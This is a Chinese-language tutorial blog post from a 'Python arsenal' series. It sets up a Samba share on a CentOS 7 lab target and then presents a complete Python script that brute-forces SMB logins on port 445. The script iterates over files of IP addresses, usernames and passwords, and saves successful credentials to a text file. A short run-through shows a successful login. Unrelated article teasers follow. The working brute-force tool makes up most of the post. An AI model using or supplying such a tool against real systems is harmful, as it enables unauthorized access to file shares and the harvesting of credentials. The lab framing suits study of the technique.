Python武器库开发-武器库篇之SMB服务暴力破解(五十五)

Python武器库开发-武器库篇之SMB服务暴力破解(五十五)

SMB服务(Server Message Block)是一种用于文件共享、打印机共享和其他资源共享的网络协议。它最初由IBM开发,后来被微软广泛采用。

SMB服务允许多台计算机在网络上共享文件和资源,从而实现文件的读取、写入和共享。通过SMB服务,用户可以访问其他计算机上的文件、打印机、文件夹和其他共享资源,就像访问本地资源一样。

SMB服务还提供了许多功能和特性,如权限控制、文件锁定、文件和目录的远程操作等。它通过TCP/IP协议在网络上进行通信,并使用NetBIOS或者TCP/IP的名称解析来定位和识别其他计算机上的共享资源。

SMB服务在Windows操作系统中得到广泛应用,并且被很多网络存储设备、打印机和其他网络设备所支持。它是实现文件共享和资源共享的重要协议之一,在企业和家庭网络中都有广泛的应用。

环境准备

首先,我们需要准备一台Centos7机器作为靶机在CentOS 7上配置SMB服务的步骤如下:

  1. 确保CentOS 7已安装samba软件包,如果未安装,请使用以下命令进行安装:
sudo yum install samba

在这里插入图片描述

  1. 使用文本编辑器打开SMB配置文件/etc/samba/smb.conf:
sudo vi /etc/samba/smb.conf

在配置文件中找到合适的全局配置部分(通常是以[global]开头),在其中添加以下内容:

[global]
security = user

这会将SMB服务器的安全模式设置为用户模式。

在这里插入图片描述

  1. 在文件的末尾添加以下内容,定义要共享的文件夹和访问权限:
[share]
    path = /path/to/shared/folder
    valid users = username
    read only = no

在上述示例中,将/path/to/shared/folder替换为您要共享的实际文件夹路径,并将username替换为允许访问此共享的用户名,然后保存并关闭配置文件。

在这里插入图片描述

  1. 配置SMB用户,使用以下命令创建SMB用户,并设置密码:
sudo smbpasswd -a username

在这里插入图片描述

您可以将username替换为将用于访问共享的实际用户名,随后您将被提示输入新密码。

将新用户添加到sudo组,使其具有管理员权限,输入以下命令:

sudo usermod -aG wheel username

其中,"username"是你刚刚创建的新用户的名称。

在这里插入图片描述

  1. 启动和启用SMB服务,使用以下命令启动SMB服务,并将其设置为在系统启动时自动启用:
sudo systemctl start smb
sudo systemctl enable smb
  1. 在防火墙上配置SMB服务。如果防火墙启用了,您需要允许SMB服务的通信。使用以下命令添加防火墙规则:
sudo firewall-cmd --permanent --add-service=samba
sudo firewall-cmd --reload

完成后,您可以使用Windows或其他支持SMB协议的设备访问CentOS 7上的共享文件夹,这样,您就在CentOS 7上成功配置了SMB服务。

破解代码

下来我们用python写一段暴力破解SMB服务的代码,代码内容如下:

import os
from smb.SMBConnection import SMBConnection


############################ Clear Consle While Start a Loop ##############################
def clear():
    os.system('cls')  # on Windows System


############################ Collect Single Credential From User Input ##############################
def CollectCredential():
    remote_ip = input('Enter Host IP:')
    username = input('Enter SMB Username:')
    password = input('Enter SMB Password:')
    domain = input('Enter Domain Name:')
    return (remote_ip, username, password, domain)


############################ Verify the Input File Direction ##############################
# If the direction cannot be found, set the input as an atribute.
def VerifyFile(up):
    ver = []
    try:
        file = open(up, 'r')
        data = file.readlines()
        print('File Direction Verified.')
        for line in data:
            ver.append(line.strip())
    except:
        ver.append(up)
        return ver
    return ver


############################ Collect File Directions From User Input ##############################
# Support IP, username, password SMB brute force attack,
# user can input single attributes replace one to three attributes with files
def CollectFiles():
    remote_ip = input('Enter Host IP or File Direction:')
    remote_ip = VerifyFile(remote_ip)
    username = input('Enter SMB Username or File Direction:')
    username = VerifyFile(username)
    password = input('Enter SMB Password or File Direction:')
    password = VerifyFile(password)
    domain = input('Enter Domain Name:')
    return (remote_ip, username, password, domain)


############################ Generate Collected Credentials in to Files ##############################
def GenerateCredentials():
    try:
        with open("Credential.txt", mode='w', encoding='utf-8') as ff:
            for i in range(len(credential)):
                ff.write(credential[i] + ' ')
                if (i + 1) % 4 == 0:
                    ff.write('\n')
    except FileNotFoundError:
        with open("Credential.txt", mode='w', encoding='utf-8') as ff:
            for i in range(len(credential)):
                ff.write(credential[i] + ' ')
                if (i + 1) % 4 == 0:
                    ff.write('\n')


############################ SMB Functions Using SMBConnection ##############################
class SMB(object):
    def __init__(self, remote_ip, username, password, domain):
        self.remote_ip = remote_ip
        self.username = username
        self.password = password
        self.domain = domain

    ############################ Use the Single Credential CollectCredential() to Login ##############################

    def SingleLoginScanner(self):
        my_name = ""
        remote_name = ""
        try:
            self.conn = SMBConnection(self.username, self.password, my_name, remote_name, self.domain, use_ntlm_v2=True,
                                      sign_options=2, is_direct_tcp=True)

            connected = self.conn.connect(self.remote_ip, 445)
            if connected == True:
                print('Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                self.remote_ip, self.username, self.password, self.domain))

                credential.append(self.remote_ip)
                credential.append(self.username)
                credential.append(self.password)
                credential.append(self.domain)
                print("Credential", credential)
            else:
                print('False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                self.remote_ip, self.username, self.password, self.domain))
            self.conn.close()
        except Exception as e:
            print(e)

    ############################ Use the Multiple Credentials CollectFiles() to Login ##############################
    def MultiLoginScanner(self):
        count = 0
        my_name = ""
        remote_name = ""
        for ip in self.remote_ip:
            for username in self.username:
                for password in self.password:
                    count += 1
                    try:
                        self.conn = SMBConnection(username, password, self.domain, my_name, remote_name,
                                                  use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)
                        connected = self.conn.connect(ip, 445)
                        if connected == True:
                            print('%d Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                            count, ip, username, password, self.domain))
                            credential.append(ip)
                            credential.append(username)
                            credential.append(password)
                            credential.append(self.domain)
                            print("Credential", credential)
                        else:
                            print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                            count, ip, username, password, self.domain))
                        self.conn.close()
                    except Exception as e:
                        print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                        count, ip, username, password, self.domain))
                        print(e)


############################ SMB Functions Support User to Chose ##############################
def main():
    while (1):
        print('********************SMB PYTHON TOOKIT********************')
        print('1. Single credential SMB Login Scanner')
        print('2. Credentials list from file SMB Brute Force')
        print('3. Generate Collected Credentials')
        print('4. Quit')
        print('*********************************************************\n')
        chose = input('Type number to pick function:')

        if chose == '1':
            print('Only support to input single ip address, username and password.\n')
            remote_ip, username, password, domain = CollectCredential()
            smb = SMB(remote_ip, username, password, domain)
            smb.SingleLoginScanner()

        elif chose == '2':
            print(
                'Support Local File Directories contain ip/username/password or they will be recognized as a string.\n')
            remote_ip, username, password, domain = CollectFiles()
            smb = SMB(remote_ip, username, password, domain)
            smb.MultiLoginScanner()

        elif chose == '3':
            print('Generating Successful Credentials in a txt file...\n')
            GenerateCredentials()
            print('Generated Credential.txt in the same python Directory.\n')

        else:
            print('Please input valid number!\n')
            clear()


if __name__ == '__main__':
    credential = []
    main()

这段代码是一个SMB(Server Message Block)登录工具的Python脚本,用于验证SMB登录的凭据。

首先,脚本导入了osSMBConnection模块。

然后定义了一个clear函数,用于在启动循环时清除控制台。

接下来是CollectCredential函数,用于从用户输入中收集单个凭据,包括远程主机IP、SMB用户名、SMB密码和域名。

VerifyFile函数用于验证输入文件路径是否正确。如果路径找不到,它会将输入文件路径设置为一个属性。

CollectFiles函数用于从用户输入中收集文件路径。支持输入单个属性,用文件替换一个到三个属性。

GenerateCredentials函数用于将收集到的凭据生成为文本文件。

SMB类是一个SMB的封装类,包含了SMB登录的各种功能。

SingleLoginScanner函数用于使用单个凭据登录。

MultiLoginScanner函数用于使用多个凭据登录。

main函数是脚本的主函数,用于选择SMB登录功能。根据用户的选择,调用相应的函数。

最后,在脚本的主模块中定义了一个空的credential列表,用于存储登录成功的凭据。

当脚本作为独立的程序运行时,会调用main函数开始执行。

运行实验

接下来我们在实际运行这段代码试验一下,如图程序首先会要求我们选择一个破解的选项,我们这里选择 1 ,(单凭据破解):

在这里插入图片描述

随后程序会要求我们输入要破解的SMB服务的主机IP地址、登录用户名和破解密码,这里我们输入,域名如果没有的话我们可以选择不输入:

在这里插入图片描述

最后,如图我们成功登录了SMB服务:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/728275.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Web前端项目-页面动态背景【附完整源码】

页面动态背景 一&#xff1a;花瓣背景 页面效果&#xff1a; HTML代码 <!DOCTYPE HTML> <HTML> <TITLE>花瓣漫舞</TITLE> <META NAME"Generator" CONTENT"EditPlus"> <META NAME"Author" CONTENT"&quo…

基于Sringboot+Vue的校园招聘系统【原创】【开源】

浏览器&#xff1a;Chrome或360浏览器 系统环境配置 前置条件&#xff1a;系统已经安装了Mysql5.7、Mysql工具&#xff08;Navicat&#xff09;、JDK1.8、Maven3.6.1、vue3.0以下开发环境、 Intellij Idea、 Chrome或360浏览器 1、导入数据库 2、编译前端代码vue 编译&…

编译xlnt开源库源码, 使用c++读写excel文件

编译xlnt开源库源码,在linux平台使用c读写excel文件 下载xnlt源码 官方网站https://tfussell.gitbooks.io/xlnt/content/ 下载地址https://github.com/tfussell/xlnt 下载libstudxml开源库源码 下载地址https://github.com/kamxgal/libstudxml 下载xnlt源码 官方网站https://…

CVE-2023-51048(sql注入)

简介 S-CMS v5.0 被发现存在SQLI。 过程 打开靶场&#xff0c;扫描目录&#xff0c;发现/admin后台登陆界面 弱口令admin/admin123登录 经过查看&#xff0c;发现账号管理功能&#xff0c;添加管理员账号存在sql注入&#xff0c;添加管理员&#xff0c;进行抓包 抓取数据如下…

2024华为OD机试真题- 计算三叉搜索树的高度-(C++/Python)-C卷D卷-100分

2024华为OD机试题库-(C卷+D卷)-(JAVA、Python、C++) 题目描述 定义构造三叉搜索树规则如下: 每个节点都存有一个数,当插入一个新的数时,从根节点向下寻找,直到找到一个合适的空节点插入。查找的规则是: 1.如果数小于节点的数减去500,则将数插入节点的左子树 2.如果数大于…

带NTC温度保护的5V升压至8.4V两节锂电池充电芯片

内容详情&#xff1a; 1&#xff0c; 两节锂电池充电芯片简单描述 2, 参考 PCB 设计和过 EMI 认证注意事项 3&#xff0c; 外围参考推荐芯片 4&#xff0c; 参考应用电路&#xff1a; 两节锂电池的充电/保护/放电的完整电路 5&#xff0c; 两节锂电池充电芯片 IC 目录 描述…

IT入门知识第六部分《后端开发》(6/10)

目录 后端开发&#xff1a;构建强大的服务端逻辑 1.引言 2.后端技术概述 2.1 数据库 2.2 服务器 2.3 API 2.4 安全性 3.服务器和API 3.1 服务器的作用 3.2 API的作用 4.后端框架 4.1 Node.js 4.1.1 特点 4.1.2 用途 4.1.3 代码案例分析 4.2 Django 4.2.1 特点 …

论文辅导 | 基于K-means聚类和ELM神经网络的养殖水质溶解氧预测

辅导文章 模型描述 1&#xff09;相似度统计量构造。数据归一化后&#xff0c;利用皮尔森相关系数确定环境因子权重&#xff0c;构造相似日的统计量&#xff0d;相似度。 2&#xff09;K-means 聚类。根据相似度应用 K-means 聚类法对历史日数据样本聚类&#xff0c;找出合适样…

Nginx负载均衡之Memcached缓存模块

Nginx 的 ngx_http_memcached_module 模块本身并没有提供缓存功能&#xff0c;它只是一个将用户请求转发到 Memcached 服务器的代理模块。 在以 Memcached 服务器为缓存应用的方案中&#xff0c;Memcached 作为内容缓存的存储服务器&#xff0c;用户通过 URL 为 Memcac…

python API自动化(Pytest+Excel+Allure完整框架集成+yaml入门+大量响应报文处理及加解密、签名处理)

1.pytest数据参数化 假设你需要测试一个登录功能&#xff0c;输入用户名和密码后验证登录结果。可以使用参数化实现多组输入数据的测试: 测试正确的用户名和密码登录成功 测试正确的用户名和错误的密码登录失败 测试错误的用户名和正确的密码登录失败 测试错误的用户名和密码登…

OceanBase 并行执行参数 parallel_servers_target 理解

为了最大程度降低 PX 使用难度&#xff0c;OceanBase 3.1 版起&#xff0c;parallel_max_servers 参数废弃。 用户只需用好 parallel_servers_target 即可。 target 的用途 用一个酒吧的例子来粗略理解下 parallel_servers_target 的意思&#xff1a; target 先生开了一个酒…

git 上拉下来的新项目web文件夹没有被idea管理,导致启动不了

让idea识别web项目&#xff0c;操作步骤&#xff1a; 1. 打开idea -- 文件 -- 项目结构&#xff1b; 2. 选择 模块 --- 添加 --- web -- 应用 --- 确定&#xff0c;就好了。 3. 文件夹中间出现个圆圈就是被识别到了。

刷代码随想录有感(110):动态规划——完全背包问题

题干&#xff1a; 代码&#xff1a; #include<bits/stdc.h> using namespace std; int n, bagweight; void solve(){vector<int>dp(bagweight 1, 0);vector<int>weight(n, 0);vector<int>value(n, 0);for(int i 0; i < n; i){cin>>weight[…

计算机网络(9) TCP超时重传以及滑动窗口流量控制

一.确认机制与流量控制 引用&#xff1a;滑动窗口&#xff0c;TCP的流量控制机制 | 小菜学网络 确认机制 由于 IP 协议缺乏反馈机制&#xff0c;为保证可靠性&#xff0c;TCP 协议规定&#xff1a;当接收方收到一个数据后&#xff0c;必须回复 ACK 给发送方。这样发送方就能得…

如何使用ChatGPT辅助设计工作

文章目录 设计师如何使用ChatGPT提升工作效率&#xff1f;25个案例告诉你&#xff01;什么是 prompt&#xff1f;咨询信息型 prompt vs 执行任务 prompt编写出色 prompt 的基本思路撰写 prompt 的案例和技巧1、将 ChatGPT 视作专业人士2、使用 ChatGPT 创建表单3、使用 ChatGPT…

数字化和信息化的区别是什么?

市面上有些企业专门区分出了数字化和信息化的区别&#xff0c;认为数字化基于信息化的基础之上。但也有一些专家认为两者不是独立或前后的概念&#xff0c;属于近似概念&#xff0c;它到底应当怎样被定义&#xff1f; 其实之前已经写过好几篇这个类型的文章了&#xff0c;但是总…

Python开发日记--手撸加解密小工具(2)

目录 1. UI设计和代码生成 2.运行代码查看效果 3.小结 1. UI设计和代码生成 昨天讨论到每一类算法设计为一个Tab&#xff0c;利用的是TabWidget&#xff0c;那么接下来就要在每个Tab里设计算法必要的参数了&#xff0c;这里我们会用到组件有Label、PushButton、TextEdit、Ra…

this指针如何使C++成员指针可调用

在C中&#xff0c;this指针是一个隐藏的指针&#xff0c;指向当前对象实例。它在成员函数中自动可用&#xff0c;用于访问该对象的成员变量和成员函数。理解this指针的工作原理有助于理解为什么指向成员的指针是可调用的。在本文中&#xff0c;我们将详细探讨this指针的概念&am…

保护模式下的内存访问(笔记)

;代码清单12-1;文件名&#xff1a;c12_mbr.asm;文件说明&#xff1a;硬盘主引导扇区代码;创建日期&#xff1a;2011-5-16 19:54&#xff1b;修改于2022-02-16 11:15;设置堆栈段和栈指针mov ax, csmov ss, axmov sp, 0x7c00;计算GDT所在的逻辑段地址mov ax, [cs: gdt_base 0x7c…

blender 快捷键 常见问题

一、快捷键 平移视图&#xff1a;Shift 鼠标中键旋转视图&#xff1a;鼠标中键缩放视图&#xff1a;鼠标滚动框选放大模型&#xff1a;Shift B 二、常见问题 问题&#xff1a;导入模型成功&#xff0c;但是场景中看不到。 解决办法&#xff1a;视图-裁剪起点&#xff0…